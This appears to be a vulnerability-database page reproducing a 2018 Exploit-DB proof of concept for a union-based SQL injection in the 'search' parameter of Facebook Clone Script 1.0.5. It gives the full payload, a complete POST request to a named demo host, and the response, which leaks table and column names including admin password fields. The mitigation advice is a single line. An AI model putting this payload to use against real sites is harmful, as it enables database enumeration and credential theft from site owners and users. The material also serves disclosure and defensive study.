Facebook Clone Script 1.0.5 - 'search' SQL Injection

vendor:

Facebook Clone

by:

L0RD

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Facebook Clone

Affected Version From: 1.0.5

Affected Version To: 1.0.5

Patch Exists: NO

Related CWE: N/A

CPE: a:phpscriptsmall:facebook_clone:1.0.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Win 10

2018

Facebook Clone Script 1.0.5 – ‘search’ SQL Injection

A SQL injection vulnerability exists in Facebook Clone Script 1.0.5, which allows an attacker to execute arbitrary SQL commands via the 'search' parameter in a POST request to top-search.php. The payload '1' UNION SELECT NULL,group_concat(table_name,0x3C62723E,column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.columns where table_schema=schema()#' can be used to extract information from the database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use parameterized queries.

Source

Exploit-DB raw data:

# Exploit Title: Facebook Clone Script 1.0.5 - 'search' SQL Injection
# Date: 2018-05-29
# Exploit Author: L0RD
# Vendor Homepage: https://www.phpscriptsmall.com/product/facebook-clone/
# Version: 1.0.5
# Tested on: Win 10

# POC : SQLi :

# Parameter : search
# Type : Union based
# Payload : 
1' UNION SELECT NULL,group_concat(table_name,0x3a,column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
from information_schema.columns where table_schema=schema()#

# Request

POST /demo/fbclone/top-search.php HTTP/1.1
Host: smsemailmarketing.in
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://smsemailmarketing.in/demo/fbclone/setting.php
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 231
Connection: keep-alive

search=1' UNION SELECT NULL,group_concat(table_name,0x3C62723E,column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
from information_schema.columns where table_schema=schema()#

# Response

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 29 May 2018 17:12:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 5370

<a href='friend-profile.php?id='><img  src="images/unknown.jpeg"
height="40px"
width="40px">About_you:a_id,about_you:u_id,about_you:u_nick,about_you:u_nickname,about_you:u_nick_show,about_you:nick_privacy,admin:id,admin:name,admin:username,admin:password,admin:ref_password,admin:sex,admin:email_id,admin:valid_id,admin:user_type,admin:user_level,admin:city_code,admin:state_code,admin:country_code,admin:userimages,admin:description
</a></div>